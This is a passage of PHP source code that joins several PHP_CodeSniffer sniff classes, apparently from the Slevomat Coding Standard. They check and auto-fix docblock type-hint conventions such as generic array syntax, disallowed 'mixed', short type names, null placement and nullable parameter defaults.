T_DOC_COMMENT_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $docCommentOpenPointer */ public function process(File $phpcsFile, $docCommentOpenPointer): void { $annotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenPointer); foreach ($annotations as $annotation) { $arrayTypeNodes = $this->getArrayTypeNodes($annotation->getValue()); foreach ($arrayTypeNodes as $arrayTypeNode) { $fix = $phpcsFile->addFixableError( sprintf( 'Usage of array type hint syntax in "%s" is disallowed, use generic type hint syntax instead.', AnnotationTypeHelper::print($arrayTypeNode), ), $annotation->getStartPointer(), self::CODE_DISALLOWED_ARRAY_TYPE_HINT_SYNTAX, ); if (!$fix) { continue; } $parsedDocComment = DocCommentHelper::parseDocComment($phpcsFile, $docCommentOpenPointer); $unionTypeNodes = AnnotationHelper::getAnnotationNodesByType($annotation->getNode(), UnionTypeNode::class); $unionTypeNode = $this->findUnionTypeThatContainsArrayType($arrayTypeNode, $unionTypeNodes); if ($unionTypeNode !== null) { $genericIdentifier = $this->findGenericIdentifier( $phpcsFile, $docCommentOpenPointer, $unionTypeNode, $annotation->getValue(), ); if ($genericIdentifier !== null) { $genericTypeNode = new GenericTypeNode( new IdentifierTypeNode($genericIdentifier), [$this->fixArrayNode($arrayTypeNode->type)], ); $fixedDocComment = AnnotationHelper::fixAnnotation( $parsedDocComment, $annotation, $unionTypeNode, $genericTypeNode, ); } else { $genericTypeNode = new GenericTypeNode( new IdentifierTypeNode('array'), [$this->fixArrayNode($arrayTypeNode->type)], ); $fixedDocComment = AnnotationHelper::fixAnnotation( $parsedDocComment, $annotation, $arrayTypeNode, $genericTypeNode, ); } } else { $genericIdentifier = $this->findGenericIdentifier( $phpcsFile, $docCommentOpenPointer, $arrayTypeNode, $annotation->getValue(), ) ?? 'array'; $genericTypeNode = new GenericTypeNode( new IdentifierTypeNode($genericIdentifier), [$this->fixArrayNode($arrayTypeNode->type)], ); $fixedDocComment = AnnotationHelper::fixAnnotation($parsedDocComment, $annotation, $arrayTypeNode, $genericTypeNode); } $phpcsFile->fixer->beginChangeset(); FixerHelper::change( $phpcsFile, $parsedDocComment->getOpenPointer(), $parsedDocComment->getClosePointer(), $fixedDocComment, ); $phpcsFile->fixer->endChangeset(); } } } /** * @return list */ public function getArrayTypeNodes(Node $node): array { static $visitor; static $traverser; $visitor ??= new class extends AbstractNodeVisitor { /** @var list */ private array $nodes = []; /** * @return NodeTraverser::DONT_TRAVERSE_CHILDREN|null */ public function enterNode(Node $node) { if ($node instanceof ArrayTypeNode) { $this->nodes[] = $node; if ($node->type instanceof ArrayTypeNode) { return NodeTraverser::DONT_TRAVERSE_CHILDREN; } } return null; } public function cleanNodes(): void { $this->nodes = []; } /** * @return list */ public function getNodes(): array { return $this->nodes; } }; $traverser ??= new NodeTraverser([$visitor]); $visitor->cleanNodes(); $traverser->traverse([$node]); return $visitor->getNodes(); } private function fixArrayNode(TypeNode $node): TypeNode { if (!$node instanceof ArrayTypeNode) { return $node; } return new GenericTypeNode(new IdentifierTypeNode('array'), [$this->fixArrayNode($node->type)]); } /** * @param list $unionTypeNodes */ private function findUnionTypeThatContainsArrayType(ArrayTypeNode $arrayTypeNode, array $unionTypeNodes): ?UnionTypeNode { foreach ($unionTypeNodes as $unionTypeNode) { if (in_array($arrayTypeNode, $unionTypeNode->types, true)) { return $unionTypeNode; } } return null; } private function findGenericIdentifier( File $phpcsFile, int $docCommentOpenPointer, TypeNode $typeNode, PhpDocTagValueNode $annotationValue ): ?string { if (!$typeNode instanceof UnionTypeNode) { if (!$annotationValue instanceof ParamTagValueNode && !$annotationValue instanceof ReturnTagValueNode) { return null; } $functionPointer = TokenHelper::findNext($phpcsFile, TokenHelper::FUNCTION_TOKEN_CODES, $docCommentOpenPointer + 1); if ($functionPointer === null || $phpcsFile->getTokens()[$functionPointer]['code'] !== T_FUNCTION) { return null; } if ($annotationValue instanceof ParamTagValueNode) { $parameterTypeHints = FunctionHelper::getParametersTypeHints($phpcsFile, $functionPointer); return array_key_exists( $annotationValue->parameterName, $parameterTypeHints, ) && $parameterTypeHints[$annotationValue->parameterName] !== null ? $parameterTypeHints[$annotationValue->parameterName]->getTypeHint() : null; } $returnType = FunctionHelper::findReturnTypeHint($phpcsFile, $functionPointer); return $returnType !== null ? $returnType->getTypeHint() : null; } if (count($typeNode->types) !== 2) { return null; } if ( $typeNode->types[0] instanceof ArrayTypeNode && $typeNode->types[1] instanceof IdentifierTypeNode && $this->isTraversableType( TypeHintHelper::getFullyQualifiedTypeHint($phpcsFile, $docCommentOpenPointer, $typeNode->types[1]->name), ) ) { return $typeNode->types[1]->name; } if ( $typeNode->types[1] instanceof ArrayTypeNode && $typeNode->types[0] instanceof IdentifierTypeNode && $this->isTraversableType( TypeHintHelper::getFullyQualifiedTypeHint($phpcsFile, $docCommentOpenPointer, $typeNode->types[0]->name), ) ) { return $typeNode->types[0]->name; } return null; } private function isTraversableType(string $type): bool { return TypeHintHelper::isSimpleIterableTypeHint($type) || array_key_exists($type, $this->getNormalizedTraversableTypeHints()); } /** * @return array */ private function getNormalizedTraversableTypeHints(): array { $this->normalizedTraversableTypeHints ??= array_flip( array_map(static fn (string $typeHint): string => NamespaceHelper::isFullyQualifiedName($typeHint) ? $typeHint : sprintf('%s%s', NamespaceHelper::NAMESPACE_SEPARATOR, $typeHint), SniffSettingsHelper::normalizeArray( $this->traversableTypeHints, )), ); return $this->normalizedTraversableTypeHints; } } */ public function register(): array { return [ T_DOC_COMMENT_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $docCommentOpenPointer */ public function process(File $phpcsFile, $docCommentOpenPointer): void { if (SuppressHelper::isSniffSuppressed( $phpcsFile, $docCommentOpenPointer, $this->getSniffName(self::CODE_DISALLOWED_MIXED_TYPE_HINT), )) { return; } $docCommentOwnerPointer = DocCommentHelper::findDocCommentOwnerPointer($phpcsFile, $docCommentOpenPointer); if ( $docCommentOwnerPointer !== null && AttributeHelper::hasAttribute($phpcsFile, $docCommentOwnerPointer, '\Override') ) { return; } $annotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenPointer); foreach ($annotations as $annotation) { $identifierTypeNodes = AnnotationHelper::getAnnotationNodesByType($annotation->getNode(), IdentifierTypeNode::class); foreach ($identifierTypeNodes as $typeHintNode) { $typeHint = $typeHintNode->name; if (strtolower($typeHint) !== 'mixed') { continue; } $phpcsFile->addError( 'Usage of "mixed" type hint is disallowed.', $annotation->getStartPointer(), self::CODE_DISALLOWED_MIXED_TYPE_HINT, ); } } } private function getSniffName(string $sniffName): string { return sprintf('%s.%s', self::NAME, $sniffName); } } */ public function register(): array { return [ T_DOC_COMMENT_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $docCommentOpenPointer */ public function process(File $phpcsFile, $docCommentOpenPointer): void { $annotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenPointer); foreach ($annotations as $annotation) { $identifierTypeNodes = AnnotationHelper::getAnnotationNodesByType($annotation->getNode(), IdentifierTypeNode::class); foreach ($identifierTypeNodes as $typeHintNode) { $typeHint = $typeHintNode->name; $lowercasedTypeHint = strtolower($typeHint); $shortTypeHint = null; if ($lowercasedTypeHint === 'integer') { $shortTypeHint = 'int'; } elseif ($lowercasedTypeHint === 'boolean') { $shortTypeHint = 'bool'; } if ($shortTypeHint === null) { continue; } $fix = $phpcsFile->addFixableError(sprintf( 'Expected "%s" but found "%s" in %s annotation.', $shortTypeHint, $typeHint, $annotation->getName(), ), $annotation->getStartPointer(), self::CODE_USED_LONG_TYPE_HINT); if (!$fix) { continue; } $parsedDocComment = DocCommentHelper::parseDocComment($phpcsFile, $docCommentOpenPointer); $fixedDocComment = AnnotationHelper::fixAnnotation( $parsedDocComment, $annotation, $typeHintNode, new IdentifierTypeNode($shortTypeHint), ); $phpcsFile->fixer->beginChangeset(); FixerHelper::change( $phpcsFile, $parsedDocComment->getOpenPointer(), $parsedDocComment->getClosePointer(), $fixedDocComment, ); $phpcsFile->fixer->endChangeset(); } } } } */ public function register(): array { return [ T_DOC_COMMENT_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $docCommentOpenPointer */ public function process(File $phpcsFile, $docCommentOpenPointer): void { $annotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenPointer); foreach ($annotations as $annotation) { $unionTypeNodes = AnnotationHelper::getAnnotationNodesByType($annotation->getNode(), UnionTypeNode::class); foreach ($unionTypeNodes as $unionTypeNode) { $nullTypeNode = null; $nullPosition = 0; $position = 0; foreach ($unionTypeNode->types as $typeNode) { if ($typeNode instanceof IdentifierTypeNode && strtolower($typeNode->name) === 'null') { $nullTypeNode = $typeNode; $nullPosition = $position; break; } $position++; } if ($nullTypeNode === null) { continue; } if ($nullPosition === count($unionTypeNode->types) - 1) { continue; } $fix = $phpcsFile->addFixableError( sprintf('Null type hint should be on last position in "%s".', AnnotationTypeHelper::print($unionTypeNode)), $annotation->getStartPointer(), self::CODE_NULL_TYPE_HINT_NOT_ON_LAST_POSITION, ); if (!$fix) { continue; } $fixedTypeNodes = []; foreach ($unionTypeNode->types as $typeNode) { if ($typeNode === $nullTypeNode) { continue; } $fixedTypeNodes[] = $typeNode; } $fixedTypeNodes[] = $nullTypeNode; $fixedUnionTypeNode = PhpDocParserHelper::cloneNode($unionTypeNode); $fixedUnionTypeNode->types = $fixedTypeNodes; $phpcsFile->fixer->beginChangeset(); $parsedDocComment = DocCommentHelper::parseDocComment($phpcsFile, $docCommentOpenPointer); $fixedDocComment = AnnotationHelper::fixAnnotation($parsedDocComment, $annotation, $unionTypeNode, $fixedUnionTypeNode); FixerHelper::change( $phpcsFile, $parsedDocComment->getOpenPointer(), $parsedDocComment->getClosePointer(), $fixedDocComment, ); $phpcsFile->fixer->endChangeset(); } } } } */ public function register(): array { return TokenHelper::FUNCTION_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { if (SuppressHelper::isSniffSuppressed($phpcsFile, $functionPointer, self::NAME)) { return; } $tokens = $phpcsFile->getTokens(); $startPointer = $tokens[$functionPointer]['parenthesis_opener'] + 1; $endPointer = $tokens[$functionPointer]['parenthesis_closer']; for ($i = $startPointer; $i < $endPointer; $i++) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } $parameterName = $tokens[$i]['content']; $afterVariablePointer = TokenHelper::findNextEffective($phpcsFile, $i + 1); if ($tokens[$afterVariablePointer]['code'] !== T_EQUAL) { continue; } $afterEqualsPointer = TokenHelper::findNextEffective($phpcsFile, $afterVariablePointer + 1); if ($tokens[$afterEqualsPointer]['code'] !== T_NULL) { continue; } $ignoreTokensToFindTypeHint = [...TokenHelper::INEFFECTIVE_TOKEN_CODES, T_BITWISE_AND, T_ELLIPSIS]; $typeHintEndPointer = TokenHelper::findPreviousExcluding($phpcsFile, $ignoreTokensToFindTypeHint, $i - 1, $startPointer); if ( $typeHintEndPointer === null || !in_array($tokens[$typeHintEndPointer]['code'], TokenHelper::ONLY_TYPE_HINT_TOKEN_CODES, true) ) { continue; } $typeHintStartPointer = TypeHintHelper::getStartPointer($phpcsFile, $typeHintEndPointer); $typeHint = TokenHelper::getContent($phpcsFile, $typeHintStartPointer, $typeHintEndPointer); if (strtolower($typeHint) === 'mixed') { continue; } $nullableSymbolPointer = TokenHelper::findPreviousEffective( $phpcsFile, $typeHintStartPointer - 1, $tokens[$functionPointer]['parenthesis_opener'], ); if ($nullableSymbolPointer !== null && $tokens[$nullableSymbolPointer]['code'] === T_NULLABLE) { continue; } if (preg_match('~(?:^|(?:\|\s*))null(?:(?:\s*\|)|$)~i', $typeHint) === 1) { continue; } $fix = $phpcsFile->addFixableError( sprintf('Parameter %s has null default value, but is not marked as nullable.', $parameterName), $i, self::CODE_NULLABILITY_TYPE_MISSING, ); if (!$fix) { continue; } $phpcsFile->fixer->beginChangeset(); if (substr_count($typeHint, '|') > 0) { FixerHelper::add($phpcsFile, $typeHintEndPointer, '|null'); } else { FixerHelper::addBefore($phpcsFile, $typeHintStartPointer, '?'); } $phpcsFile->fixer->endChangeset(); } } } */ public array $traversableTypeHints = []; /** @var list|null */ private ?array $normalizedTraversableTypeHints = null; /** * @return array */ public function register(): array { return [ T_FUNCTION, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { $this->enableObjectTypeHint = SniffSettingsHelper::isEnabledByPhpVersion($this->enableObjectTypeHint, 70200); $this->enableMixedTypeHint = SniffSettingsHelper::isEnabledByPhpVersion($this->enableMixedTypeHint, 80000); $this->enableUnionTypeHint = SniffSettingsHelper::isEnabledByPhpVersion($this->enableUnionTypeHint, 80000); $this->enableIntersectionTypeHint = SniffSettingsHelper::isEnabledByPhpVersion($this->enableIntersectionTypeHint, 80100); $this->enableStandaloneNullTrueFalseTypeHints = SniffSettingsHelper::isEnabledByPhpVersion( $this->enableStandaloneNullTrueFalseTypeHints, 80200, ); if (SuppressHelper::isSniffSuppressed($phpcsFile, $functionPointer, self::NAME)) { return; } if (DocCommentHelper::hasInheritdocAnnotation($phpcsFile, $functionPointer)) { return; } $parametersTypeHints = FunctionHelper::getParametersTypeHints($phpcsFile, $functionPointer); $parametersAnnotations = FunctionHelper::getValidParametersAnnotations($phpcsFile, $functionPointer); $prefixedParametersAnnotations = FunctionHelper::getValidPrefixedParametersAnnotations($phpcsFile, $functionPointer); $this->checkTypeHints($phpcsFile, $functionPointer, $parametersTypeHints, $parametersAnnotations, $prefixedParametersAnnotations); $this->checkTraversableTypeHintSpecification( $phpcsFile, $functionPointer, $parametersTypeHints, $parametersAnnotations, $prefixedParametersAnnotations, ); $this->checkUselessAnnotations($phpcsFile, $functionPointer, $parametersTypeHints, $parametersAnnotations); } /** * @param array $parametersTypeHints * @param array|Annotation|Annotation> $parametersAnnotations * @param array|Annotation> $prefixedParametersAnnotations */ private function checkTypeHints( File $phpcsFile, int $functionPointer, array $parametersTypeHints, array $parametersAnnotations, array $prefixedParametersAnnotations ): void { $suppressNameAnyTypeHint = self::getSniffName(self::CODE_MISSING_ANY_TYPE_HINT); $isSuppressedAnyTypeHint = SuppressHelper::isSniffSuppressed($phpcsFile, $functionPointer, $suppressNameAnyTypeHint); $suppressNameNativeTypeHint = $this->getSniffName(self::CODE_MISSING_NATIVE_TYPE_HINT); $isSuppressedNativeTypeHint = SuppressHelper::isSniffSuppressed($phpcsFile, $functionPointer, $suppressNameNativeTypeHint); $suppressedErrors = 0; $parametersWithoutTypeHint = array_keys( array_filter($parametersTypeHints, static fn (?TypeHint $parameterTypeHint = null): bool => $parameterTypeHint === null), ); $tokens = $phpcsFile->getTokens(); $isConstructor = FunctionHelper::isMethod($phpcsFile, $functionPointer) && strtolower(FunctionHelper::getName($phpcsFile, $functionPointer)) === '__construct'; foreach ($parametersWithoutTypeHint as $parameterName) { $isPropertyPromotion = false; if ($isConstructor) { $parameterPointer = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $parameterName, $tokens[$functionPointer]['parenthesis_opener'], $tokens[$functionPointer]['parenthesis_closer'], ); $pointerBeforeParameter = TokenHelper::findPrevious($phpcsFile, [T_COMMA, T_OPEN_PARENTHESIS], $parameterPointer - 1); $visibilityPointer = TokenHelper::findNextEffective($phpcsFile, $pointerBeforeParameter + 1); $isPropertyPromotion = in_array($tokens[$visibilityPointer]['code'], Tokens::$scopeModifiers, true); } if ( !array_key_exists($parameterName, $parametersAnnotations) || $parametersAnnotations[$parameterName]->getValue() instanceof TypelessParamTagValueNode ) { if (array_key_exists($parameterName, $prefixedParametersAnnotations)) { continue; } if ($isSuppressedAnyTypeHint) { $suppressedErrors++; continue; } $phpcsFile->addError( sprintf( '%s %s() does not have parameter type hint nor @param annotation for its parameter %s.', FunctionHelper::getTypeLabel($phpcsFile, $functionPointer), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), $parameterName, ), $functionPointer, self::CODE_MISSING_ANY_TYPE_HINT, ); continue; } if (AttributeHelper::hasAttribute($phpcsFile, $functionPointer, '\Override')) { continue; } $parameterTypeNode = $parametersAnnotations[$parameterName]->getValue()->type; if ( $parameterTypeNode instanceof IdentifierTypeNode && strtolower($parameterTypeNode->name) === 'null' && !$this->enableStandaloneNullTrueFalseTypeHints ) { continue; } $originalParameterTypeNode = $parameterTypeNode; if ($parameterTypeNode instanceof NullableTypeNode) { $parameterTypeNode = $parameterTypeNode->type; } $canTryUnionTypeHint = $this->enableUnionTypeHint && $parameterTypeNode instanceof UnionTypeNode; $typeHints = []; $traversableTypeHints = []; $nullableParameterTypeHint = false; if (AnnotationTypeHelper::containsOneType($parameterTypeNode)) { /** @var ArrayTypeNode|ArrayShapeNode|ObjectShapeNode|IdentifierTypeNode|ThisTypeNode|GenericTypeNode|CallableTypeNode|ConstTypeNode $parameterTypeNode */ $parameterTypeNode = $parameterTypeNode; $typeHints[] = AnnotationTypeHelper::getTypeHintFromOneType( $parameterTypeNode, false, $this->enableStandaloneNullTrueFalseTypeHints, ); } elseif ( $parameterTypeNode instanceof UnionTypeNode || $parameterTypeNode instanceof IntersectionTypeNode ) { $traversableTypeHints = []; foreach ($parameterTypeNode->types as $typeNode) { if (!AnnotationTypeHelper::containsOneType($typeNode)) { continue 2; } /** @var ArrayTypeNode|ArrayShapeNode|ObjectShapeNode|IdentifierTypeNode|ThisTypeNode|GenericTypeNode|CallableTypeNode|ConstTypeNode $typeNode */ $typeNode = $typeNode; $typeHint = AnnotationTypeHelper::getTypeHintFromOneType($typeNode, $canTryUnionTypeHint); if (strtolower($typeHint) === 'null') { $nullableParameterTypeHint = true; continue; } $isTraversable = TypeHintHelper::isTraversableType( TypeHintHelper::getFullyQualifiedTypeHint($phpcsFile, $functionPointer, $typeHint), $this->getTraversableTypeHints(), ); if ( !$typeNode instanceof ArrayTypeNode && !$typeNode instanceof ArrayShapeNode && $isTraversable ) { $traversableTypeHints[] = $typeHint; } $typeHints[] = $typeHint; } $traversableTypeHints = array_values(array_unique($traversableTypeHints)); if (count($traversableTypeHints) > 1 && !$canTryUnionTypeHint) { continue; } } $typeHints = array_values(array_unique($typeHints)); if (count($traversableTypeHints) > 0) { /** @var UnionTypeNode|IntersectionTypeNode $parameterTypeNode */ $parameterTypeNode = $parameterTypeNode; $itemsSpecificationTypeHint = AnnotationTypeHelper::getItemsSpecificationTypeFromType($parameterTypeNode); if ($itemsSpecificationTypeHint !== null) { $typeHints = AnnotationTypeHelper::getTraversableTypeHintsFromType( $parameterTypeNode, $phpcsFile, $functionPointer, $this->getTraversableTypeHints(), $canTryUnionTypeHint, ); } } if (count($typeHints) === 0) { continue; } $typeHintsWithConvertedUnion = []; foreach ($typeHints as $typeHint) { if ($this->enableUnionTypeHint && TypeHintHelper::isUnofficialUnionTypeHint($typeHint)) { $canTryUnionTypeHint = true; array_push( $typeHintsWithConvertedUnion, ...TypeHintHelper::convertUnofficialUnionTypeHintToOfficialTypeHints($typeHint), ); } else { $typeHintsWithConvertedUnion[] = $typeHint; } } $typeHintsWithConvertedUnion = array_unique($typeHintsWithConvertedUnion); if ( count($typeHintsWithConvertedUnion) > 1 && ( ($parameterTypeNode instanceof UnionTypeNode && !$canTryUnionTypeHint) || ($parameterTypeNode instanceof IntersectionTypeNode && !$this->enableIntersectionTypeHint) ) ) { continue; } foreach ($typeHintsWithConvertedUnion as $typeHintNo => $typeHint) { if ($canTryUnionTypeHint && $typeHint === 'false') { continue; } if ($isPropertyPromotion && $typeHint === 'callable') { continue 2; } if (!TypeHintHelper::isValidTypeHint( $typeHint, $this->enableObjectTypeHint, false, $this->enableMixedTypeHint, $this->enableStandaloneNullTrueFalseTypeHints, )) { continue 2; } if (TypeHintHelper::isTypeDefinedInAnnotation($phpcsFile, $functionPointer, $typeHint)) { continue 2; } $typeHintsWithConvertedUnion[$typeHintNo] = TypeHintHelper::convertLongSimpleTypeHintToShort($typeHint); } if ($originalParameterTypeNode instanceof NullableTypeNode) { $nullableParameterTypeHint = true; } if ($isSuppressedNativeTypeHint) { $suppressedErrors++; continue; } $fix = $phpcsFile->addFixableError( sprintf( '%s %s() does not have native type hint for its parameter %s but it should be possible to add it based on @param annotation "%s".', FunctionHelper::getTypeLabel($phpcsFile, $functionPointer), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), $parameterName, AnnotationTypeHelper::print($parameterTypeNode), ), $functionPointer, self::CODE_MISSING_NATIVE_TYPE_HINT, ); if (!$fix) { continue; } if (in_array('mixed', $typeHintsWithConvertedUnion, true)) { $parameterTypeHint = 'mixed'; } elseif ($originalParameterTypeNode instanceof IntersectionTypeNode) { $parameterTypeHint = implode('&', $typeHintsWithConvertedUnion); } else { $parameterTypeHint = implode('|', $typeHintsWithConvertedUnion); if ($nullableParameterTypeHint) { if (count($typeHintsWithConvertedUnion) > 1) { $parameterTypeHint .= '|null'; } else { $parameterTypeHint = '?' . $parameterTypeHint; } } } $tokens = $phpcsFile->getTokens(); /** @var int $parameterPointer */ $parameterPointer = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $parameterName, $tokens[$functionPointer]['parenthesis_opener'], $tokens[$functionPointer]['parenthesis_closer'], ); $beforeParameterPointer = $parameterPointer; do { $previousPointer = TokenHelper::findPreviousEffective( $phpcsFile, $beforeParameterPointer - 1, $tokens[$functionPointer]['parenthesis_opener'] + 1, ); if ( $previousPointer === null || !in_array($tokens[$previousPointer]['code'], [T_BITWISE_AND, T_ELLIPSIS], true) ) { break; } /** @var int $beforeParameterPointer */ $beforeParameterPointer = $previousPointer; } while (true); $phpcsFile->fixer->beginChangeset(); FixerHelper::addBefore( $phpcsFile, $beforeParameterPointer, sprintf('%s ', $parameterTypeHint), ); $phpcsFile->fixer->endChangeset(); } if ($suppressedErrors > 0) { return; } if ($isSuppressedAnyTypeHint) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $suppressNameAnyTypeHint); } if ($isSuppressedNativeTypeHint) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $suppressNameNativeTypeHint); } } /** * @param array $parametersTypeHints * @param array|Annotation|Annotation> $parametersAnnotations * @param array|Annotation> $prefixedParametersAnnotations */ private function checkTraversableTypeHintSpecification( File $phpcsFile, int $functionPointer, array $parametersTypeHints, array $parametersAnnotations, array $prefixedParametersAnnotations ): void { $suppressName = self::getSniffName(self::CODE_MISSING_TRAVERSABLE_TYPE_HINT_SPECIFICATION); $isSniffSuppressed = SuppressHelper::isSniffSuppressed($phpcsFile, $functionPointer, $suppressName); $suppressUseless = true; foreach ($parametersTypeHints as $parameterName => $parameterTypeHint) { if (array_key_exists($parameterName, $prefixedParametersAnnotations)) { continue; } $hasTraversableTypeHint = false; if ( $parameterTypeHint !== null && TypeHintHelper::isTraversableType( TypeHintHelper::getFullyQualifiedTypeHint($phpcsFile, $functionPointer, $parameterTypeHint->getTypeHint()), $this->getTraversableTypeHints(), ) ) { $hasTraversableTypeHint = true; } elseif ( array_key_exists($parameterName, $parametersAnnotations) && !$parametersAnnotations[$parameterName]->getValue() instanceof TypelessParamTagValueNode && AnnotationTypeHelper::containsTraversableType( $parametersAnnotations[$parameterName]->getValue()->type, $phpcsFile, $functionPointer, $this->getTraversableTypeHints(), ) ) { $hasTraversableTypeHint = true; } if ($hasTraversableTypeHint && !array_key_exists($parameterName, $parametersAnnotations)) { $suppressUseless = false; if (!$isSniffSuppressed) { $phpcsFile->addError( sprintf( '%s %s() does not have @param annotation for its traversable parameter %s.', FunctionHelper::getTypeLabel($phpcsFile, $functionPointer), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), $parameterName, ), $functionPointer, self::CODE_MISSING_TRAVERSABLE_TYPE_HINT_SPECIFICATION, ); } continue; } if (!array_key_exists($parameterName, $parametersAnnotations)) { continue; } if ($parametersAnnotations[$parameterName]->getValue() instanceof TypelessParamTagValueNode) { continue; } $parameterTypeNode = $parametersAnnotations[$parameterName]->getValue()->type; if ( ( !$hasTraversableTypeHint && !AnnotationTypeHelper::containsTraversableType( $parameterTypeNode, $phpcsFile, $functionPointer, $this->getTraversableTypeHints(), ) ) || AnnotationTypeHelper::containsItemsSpecificationForTraversable( $parameterTypeNode, $phpcsFile, $functionPointer, $this->getTraversableTypeHints(), ) ) { continue; } $suppressUseless = false; if ($isSniffSuppressed) { continue; } $phpcsFile->addError( sprintf( '@param annotation of %s %s() does not specify type hint for items of its traversable parameter %s.', lcfirst(FunctionHelper::getTypeLabel($phpcsFile, $functionPointer)), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), $parameterName, ), $parametersAnnotations[$parameterName]->getStartPointer(), self::CODE_MISSING_TRAVERSABLE_TYPE_HINT_SPECIFICATION, ); } if ($isSniffSuppressed && $suppressUseless) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $suppressName); } } /** * @param array $parametersTypeHints * @param array $parametersAnnotations */ private function checkUselessAnnotations( File $phpcsFile, int $functionPointer, array $parametersTypeHints, array $parametersAnnotations ): void { $suppressName = self::getSniffName(self::CODE_USELESS_ANNOTATION); $isSniffSuppressed = SuppressHelper::isSniffSuppressed($phpcsFile, $functionPointer, $suppressName); $suppressUseless = true; foreach ($parametersTypeHints as $parameterName => $parameterTypeHint) { if (!array_key_exists($parameterName, $parametersAnnotations)) { continue; } $parameterAnnotation = $parametersAnnotations[$parameterName]; if ($parameterAnnotation->getValue() instanceof TypelessParamTagValueNode) { continue; } if (!AnnotationHelper::isAnnotationUseless( $phpcsFile, $functionPointer, $parameterTypeHint, $parameterAnnotation, $this->getTraversableTypeHints(), $this->enableUnionTypeHint, $this->enableIntersectionTypeHint, $this->enableStandaloneNullTrueFalseTypeHints, )) { continue; } $suppressUseless = false; if ($isSniffSuppressed) { continue; } $fix = $phpcsFile->addFixableError( sprintf( '%s %s() has useless @param annotation for parameter %s.', FunctionHelper::getTypeLabel($phpcsFile, $functionPointer), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), $parameterName, ), $parameterAnnotation->getStartPointer(), self::CODE_USELESS_ANNOTATION, ); if (!$fix) { continue; } $docCommentOpenPointer = $parameterAnnotation->getValue() instanceof VarTagValueNode ? TokenHelper::findPrevious($phpcsFile, T_DOC_COMMENT_OPEN_TAG, $parameterAnnotation->getStartPointer() - 1) : DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $functionPointer); $starPointer = TokenHelper::findPrevious( $phpcsFile, T_DOC_COMMENT_STAR, $parameterAnnotation->getStartPointer() - 1, $docCommentOpenPointer, ); $changeStart = $starPointer ?? $parameterAnnotation->getStartPointer(); /** @var int $changeEnd */ $changeEnd = TokenHelper::findNext( $phpcsFile, [T_DOC_COMMENT_CLOSE_TAG, T_DOC_COMMENT_STAR], $parameterAnnotation->getEndPointer(), ) - 1; $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $changeStart, $changeEnd); $phpcsFile->fixer->endChangeset(); } if ($isSniffSuppressed && $suppressUseless) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $suppressName); } } private function reportUselessSuppress(File $phpcsFile, int $pointer, string $suppressName): void { $fix = $phpcsFile->addFixableError( sprintf('Useless %s %s', SuppressHelper::ANNOTATION, $suppressName), $pointer, self::CODE_USELESS_SUPPRESS, ); if ($fix) { SuppressHelper::removeSuppressAnnotation($phpcsFile, $pointer, $suppressName); } } private function getSniffName(string $sniffName): string { return sprintf('%s.%s', self::NAME, $sniffName); } /** * @return list */ private function getTraversableTypeHints(): array { $this->normalizedTraversableTypeHints ??= array_map( static fn (string $typeHint): string => NamespaceHelper::isFullyQualifiedName($typeHint) ? $typeHint : sprintf('%s%s', NamespaceHelper::NAMESPACE_SEPARATOR, $typeHint), SniffSettingsHelper::normalizeArray($this->traversableTypeHints), ); return $this->normalizedTraversableTypeHints; } } */ public function register(): array { return TokenHelper::FUNCTION_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { $tokens = $phpcsFile->getTokens(); $parametersStartPointer = $tokens[$functionPointer]['parenthesis_opener'] + 1; $parametersEndPointer = $tokens[$functionPointer]['parenthesis_closer'] - 1; for ($i = $parametersStartPointer; $i <= $parametersEndPointer; $i++) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } $parameterPointer = $i; $parameterName = $tokens[$parameterPointer]['content']; $parameterStartPointer = TokenHelper::findPrevious($phpcsFile, T_COMMA, $parameterPointer - 1, $parametersStartPointer); $parameterStartPointer ??= $parametersStartPointer; $parameterEndPointer = TokenHelper::findNext($phpcsFile, T_COMMA, $parameterPointer + 1, $parametersEndPointer + 1); $parameterEndPointer ??= $parametersEndPointer; $attributeCloserPointer = TokenHelper::findPrevious($phpcsFile, T_ATTRIBUTE_END, $parameterPointer - 1, $parameterStartPointer); $typeHintEndPointer = TokenHelper::findPrevious( $phpcsFile, TokenHelper::TYPE_HINT_TOKEN_CODES, $parameterPointer - 1, $attributeCloserPointer ?? $parameterStartPointer, ); if ($typeHintEndPointer === null) { continue; } $typeHintStartPointer = TypeHintHelper::getStartPointer($phpcsFile, $typeHintEndPointer); $nextTokenNames = [ T_VARIABLE => sprintf('parameter %s', $parameterName), T_BITWISE_AND => sprintf('reference sign 